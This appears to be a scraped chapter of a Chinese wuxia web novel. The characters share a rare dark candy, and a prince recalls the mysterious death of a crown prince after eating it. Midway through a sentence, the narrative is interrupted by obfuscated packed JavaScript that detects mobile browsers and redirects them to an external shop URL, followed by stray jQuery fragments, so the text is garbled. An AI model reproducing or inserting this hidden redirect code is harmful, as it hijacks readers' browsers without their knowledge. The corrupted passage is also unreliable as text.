43. 乌饴之案

作品:《捡个野徒问鼎江湖

    待小二离开后,金宝宝神情自若地招来侍从,点了些茶水点心和各色菜肴,然后向几人抱拳道:


    “今日是金爷我招待不周,让诸位朋友到这个点了还没吃上热食,惭愧惭愧。金爷我以茶代酒,先自罚三杯。”金宝宝说得自然,倒是让百川不禁放松下来。


    金宝宝与李弘煜场面上推杯换盏营造气氛,百川则趁着周围人都在专心看台上的戏伶唱曲儿时,悄悄将白翎胳膊上的衣袖撕了个口子,查看伤口情况。所幸伤得不深,且伤口没有染毒的迹象,如此只要晚上回去简单缝合,再敷点药以防伤口肿疡就可以了。


    百川抽出一方干净帕子,用桌上的酒浸过后,对白翎小声说了句:“忍着点儿啊。”然后细细地替白翎擦净污血后,用帕子绑在伤口上,暂时止血。


    旁边上官寒递过来一粒丹药:“服下可清毒。”


    百川想也没想便让白翎服下,随后,她又凑近上官寒,低声询问:“你要不要也吃一粒,方才有没有哪里受伤?”


    她刚想搭上他的腕把脉,却被他不着痕迹地避过,只有指尖略擦过皮肤,感觉到一阵冰冷。


    “为何会这么冰?”她蹙眉低声问,她知道他的手温似比常人的略低,但是以往也不至于如此之刺骨。


    “方才动了真气的缘故,无碍,稍作休息即可恢复。”上官寒唇角微微勾着,似笑非笑,“百川师者怕不是忘了,弟子也略懂医术。”


    既然他坚持,百川也没再强求,只是补了句:“医者不自医,若是有任何不适,切不可瞒我。”


    上官寒垂眸看她,眼梢轻敛出一丝浅淡的顺从:“弟子谨遵师命。”


    他说着同方才她让他去助白翎时一样的话,声线轻缓且温沉,像掌中热茶散溢的袅袅轻烟,熨得人耳尖微暖。


    “方才我其实不该……”


    未待她说完,侍从将茶水点心等送上,百川抿了抿唇,将嘴边的话咽了回去。


    她只知道他是个医者,却并不知道他还是个武林高手。她其实不该在不知上官寒武艺深浅的情况下,就让他去救青嬛,又让他折回去助白翎。若是他受伤……


    压下袭上心头的窒息感,她光是想想就愧疚得喉头发紧。


    “大家快吃些东西吧,该说不说,我是真的快饿死了,尤其是紧张完放松时,更是饿得冷汗都下来了。”


    金宝宝一边说着,一边将一碟黑漆麻乌切成方正小块的食物推到百川面前,挑眉道:“喏吃吧,这就是当年白翎为了吃它把自己卖给我爹的糖。”


    “你还有完没完了。”白翎无语地番了金宝宝一眼,但那只没受伤的手倒是动作迅捷,一不留神就将那碟糖抓走大半,搁在自己面前,一颗一颗往嘴里丢,吃得心满意足。


    百川见状,越发好奇地用指尖拈起一颗,见其色如玄玉,凝若脂膏,入口初坚,触津即融,嚼之绵密,微有焦香绕舌,令人回味无穷,吃得百川眼睛都睁圆了几分。


    这也太好吃了吧。


    “川儿现在能懂为何哥哥当初会为了一麻袋这玩意儿,被她爹诓了吧。”白翎叹息一声,又吃了一颗,“甘苦相济,苦中觅甜,这才是男人该吃的糖。”


    “还吃呢,当年把牙都吃掉光了。”


    金宝宝嫌弃地将剩下的糖都挪到百川面前,再不给白翎拿。


    “此饴非中土所有,这是我爹早些年有一次随别家商队出海探察远洋行情,从西极绝洲带回来的豆种制成,他见当地富贵之人极喜食此物,便记下了制作手艺,只可惜带回来的豆种在南都无法存活,后来我爹照着西极绝洲的气候,在南边买了块地,专让人种植此物,如今虽则产量不多,但好歹能收成一些,每年也只能制二三十斤此糖,故而我爹称其为乌金糖。”


    说到最后,金宝宝忍不住翻了白翎一眼:“所以我爹当年对你多好,那一袋乌金糖可不得跟一袋金子般珍贵?这玩意儿除却我们自家食用和赠予贵客外,我爹从不曾对外贩售。方才我让那侍从传话给香雪阁主事,他便知是我,正好也可暂时差些阁内打手在周围多护着些。”


    听完后,百川又讪讪地缩回了手,她是发现了,这金家就是喜欢动辙拿金子作类比,感情她这一口一个金疙瘩,再好吃的糖她也下不去口了。


    旁边李弘煜吃了一颗后,点了点头:“这一入口我也想起来了,记得四五岁那会,金府上贡的宝贝里就有这稀罕之物,后宫受宠的几位娘娘,每宫也只分得几小块,那时的太子尤喜此糖,可惜后来金府称豆种在江南未能植活,故而再也未有此物传入宫中。”


    说到最后,李弘煜浅笑着吃下第二颗,他没说出口的故事是,太子后来亦是死于此糖。


    金元在南边种下豆种后,将此糖献给了帮金府于南北贸易行了方便的赵贵妃,正巧被太子撞见。


    互相之间一番奉承客气后,这碟乌金糖便被太子带回了东宫。可谁知他食后隔了数日便偶感困乏,随后几日时常陷入半梦半醒乃至梦中离魂之状,再往后,便是时常昏睡,虽则仍有呼吸,却人事不醒,一众太医均束手无策。


    圣上大怒,勒令彻查赵贵妃。


    可那乌金糖在太子入口之前,亦经由尚食局之人亲口验过,验毒之人并未出现如太子之症状,连太医都未能在糖中查出任何毒物。


    可太子仍旧昏睡的时辰一日多过一日,终在数月之后于睡梦中薨了。


    最终宗人府和太医院均未能查出任何证据,能指证是赵贵妃毒杀了太子,甚至有太医私下猜测,乌金糖本就无毒,只是太子食之过多,体质不适所致。


    毕竟是稀罕之物,太子一时贪多,却又没有人此前大量食过此物,故而此因不可考,乃至于太子究竟是否的确死于此物也不可考,毕竟食之隔日他甚至是无需久睡也比往常都要神清气爽,无并非寻常中毒之状。


    最终太子中毒一案哪怕转由三司会审,亦是无果,成了个天大的悬案。


    王皇后及王丞相虽恨,可彼时赵贵妃和戍北军在朝中威望极高,三司内亦有其党羽,若无铁证,圣上无法对其一党加以定罪铲除。


    赵氏参天大树,又如何以一碟被验无毒的饴糖来连根拔起呢。


    故而此事最终以太子不幸突发卒中导


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352249|197220||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    致眩晕嗜卧而亡结案,仅仅治了些太子近前伺候人员的罪,卷宗封存,连案牍也只是隐晦地以乌饴二字为指代。


    太子食糖过多,致使卒中而亡,如此悬案成了不可外传的家丑,其后,王赵两氏正式对立,而圣上也愈发冷落赵贵妃,且因此案未能将凶手查明,与王皇后间也有了隔阂。


    而他的母妃,便是在那个时候开始,愈发受宠。


    如今看来,就算是吃一麻袋乌金糖,也不会出现太子的症状,无非是烂掉一口好牙而已。


    李弘煜淡笑着咽下口中甜而不腻的甘苦之味,这乌金糖,的确是令人食之忘俗,难怪白翎爱吃,太子皇兄也爱吃。


    只可惜,它日后永远无法广泛种植以量产,如今也只能在金家才能有幸吃上几口,倒是可惜了这么个好东西。


    一旁白翎还在为了多吃一颗和金宝宝拌着嘴,百川因着这糖太贵,便在脑子里盘算着,或许可以问金老爷要几粒豆种,回纳川谷种下试试。


    “也不知南边的气候与谷内差别有多大。”她嘟囔了一句。


    旁边上官寒似是明白了她的想法,略一思忖,对她道:“冬季时以暖室护温,多加灌溉,或可存活,只是豆果口感许会有差异。”


    白翎看上官寒此刻一脸平和地与百川在那讨论怎么种豆子,蓦地想起方才他出手时招招凌厉,诡谲难测。早在纳川,他就曾试过他的内力,且二人交过手后,他便有些生惑,如今见他击杀刺客时裹着狠戾的杀伐气,他越感疑窦丛生,终是按捺不住,开口问道:


    “上官兄虽出身医药世家,却没想到竟有如此身手,方才你所用的兵器形制怪异,招式亦是从未见过,不知上官兄师出何门?”


    感觉出白翎语气中的质疑,百川先蹙眉看了眼白翎,末了看向上官寒,一时间不知道该说些什么。


    上官寒端着茶盏,拇指缓缓抚过杯沿,抬眼时眉目依旧平和,唇角甚至噙着几分浅淡的笑意:“白翎兄过誉了,湘西民风彪悍,习武不过为了自保,师门谈不上,是家母的一位故友,自称玉龙风雪客,早年游历至上官家后指导过几年,兵器也是那人随手所赠,名唤玄虺剑。”


    白翎眉峰微挑,指尖轻叩剑鞘,眼底翻涌着几分明显的不信,唇角勾出一抹淡嘲:“玉龙风雪客?江湖上从未听过这名号,且剑宗之人素来对江湖上有名的兵器如数家珍,这柄软剑凌厉且诡谲,不像是寻常剑师能铸就的,可我竟从未对这把玄虺软剑有所耳闻。”


    上官寒不急不徐地淡淡回道:“许是南诏之地远离中原,故而白翎兄未曾听说过。”


    此时,一旁的李弘煜忽然慢悠悠开口道:“白翎兄不知也正常,此人本就避世不出,踪迹难寻。我幼时在皇家藏书阁翻阅边域札记,曾见过一本《南诏异人录》,上面寥寥数笔提过玉龙风雪客,说他善使软剑,剑名玄虺,剑走偏锋,常年游走湘黔滇三地,从不涉足中原武林纷争。”


    “皇家藏书阁?”白翎言挑眉,语气里的质疑更甚,“纳川阁搜罗天下典籍,江湖秘籍,兵器心法无一不全,我怎么从未见过这本《南诏异人录》?”